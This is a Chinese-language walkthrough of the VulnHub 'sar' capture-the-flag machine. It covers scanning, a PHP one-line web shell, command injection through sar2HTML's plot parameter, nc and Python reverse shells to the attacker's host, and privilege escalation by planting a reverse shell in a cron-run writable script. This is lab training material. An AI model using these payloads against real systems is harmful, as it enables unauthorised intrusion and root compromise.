前言
這次練習的靶機是vulnhub平臺下的sar,該靶機是一個類似oscp的虛擬機,目的是提高并鞏固滲透測驗的知識點,下載地址為https://www.vulnhub.com/entry/sar-1,425/,這個靶機中沒有出現新的知識點,難度相對比較簡單,如果看過我前面vulnhub DC系列的文章,那么這次靶機可以獨立自主完成,
虛擬機配置
這次采用的網路連接模式依然是NAT模式,為了避免掃描到其他物理主機,在匯入虛擬機后,右擊sar靶機,然后選中配置,依次點擊網路配置->NAT模式->高級->生成,然后確認即可,

收集資訊
nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24
-sn 代表存活主機掃描,不進行埠測探,
–min-parallelism 代表調整探測報文的并行度,也就是在掃描同一臺主機時會發送很多個探測資料包,這個引數指定的數即nmap一次至少要發多少個資料包,
–min-hostgroup 代表調整并行掃描組的大小,也就是一次性同時對多少臺主機進行掃描,
更詳細內容可以參考:https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,

發現靶機的IP地址為 192.168.119.174,然后用nmap對靶機進行詳細地掃描,
nmap -A -sV -p- --min-parallelism 100 192.168.119.174
-A 代表綜合性掃描,能收集很多重要的資訊
-sV 代表掃描主要的服務資訊
-p- 引數p是指定埠,后面的
-代表所有埠,

發現只開放的80埠,看來突破口只能從web上找了,用瀏覽器打開該網站,

發現是ubuntu的默認頁面,用目錄掃描工具dirsearch掃描一下,看看有沒有隱藏的目錄和檔案,
dirsearch -u 192.168.119.174

發現了兩個關鍵檔案,其中 robots.txt一般保存一些關鍵目錄,防止搜索引擎的爬蟲爬取這些目錄,所以訪問這個檔案或許會發現新的目錄或檔案,
http://192.168.119.174/robots.txt

發現了一個目錄,繼續訪問這個目錄,
http://192.168.119.174/sar2HTML

發現這個頁面可以上傳檔案,嘗試上傳一個一句話木馬,木馬代碼如下,將其保存為php檔案并上傳:
<?php system("$_GET['a']");?>
上傳后不知道檔案在哪里,用目錄掃描工具對 http://192.168.119.174/sar2HTML進行掃描,但是沒有掃描到上傳的目錄,用谷歌查一下該程式的上傳目錄,或者在github尋找該程式的原始碼,

一不小心發現了sar2HTML的遠程代碼執行漏洞,該靶機上sar2HTML的版本剛好是3.2.1,可以利用該漏洞建立反彈shell,
通過遠程代碼執行建立shell
sar2HTML的遠程代碼執行利用方式已經給出來了,在瀏覽器的URL輸入如下地址就可執行命令,
http://192.168.119.174/sar2HTML/index.php?plot=;<系統命令>
要注意的是靶機的web程式是放在sar2HTML目錄中,所以不要把這個目錄給忘了,

首先在本地監聽一個埠 4443,然后通過nc反彈一個shell,
http://192.168.119.174/index.php?plot=;nc -e /bin/bash 192.168.119.130 4443
反彈沒有成功,可能是靶機的nc禁用了-e引數,可以嘗試一下另一種方法:
http://192.168.119.174/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.du
注意靶機上只安裝了python3,所以用python來執行命令不會成功,
了解更多關于反彈shell的方法可以參考:https://www.jianshu.com/p/5b73a607e2ea,反彈shell
使用Python反彈shell成功!

提權
拿到shell后首先嘗試了suid提權,內核提權,但是沒有成功!到家目錄里面也沒有發現特殊檔案,然后到網站的根目錄下尋找特殊檔案,
cd /var/www/html
ls -la

發現了兩個特殊檔案 :finally.sh這個檔案屬于root,write.sh這個檔案具有777權限,查看一下這兩個檔案里面的內容,
cat finally.sh
cat write.sh

發現finally.sh里的內容就是執行write.sh檔案,而write.sh檔案的作用就是創建一個檔案 /tmp/gateway,由此想到了計劃任務提權,查看一下 定時任務的組態檔/etc/crontab,

果然定時計劃配置不當,系統會每五分鐘就以root權限執行finally.sh,現在將反彈shell的代碼寫入write.sh中,
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
注意修改其中的IP地址與埠,寫入write.sh后檢查一下有沒有缺少引號,
在這個定時任務提權中,不能將’/bin/sh’寫入write.sh中來提權,因為執行該檔案的是系統自動啟動的一個shell,而不是當前自己可控的shell,
然后在本地監聽4444埠并等待靶機反彈一個具有root權限的shell即可,

提權成功,讀取flag,
cd /root
cat root.txt

參考文獻
[1] https://www.jianshu.com/p/5b73a607e2ea,反彈shell,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298300.html
標籤:其他
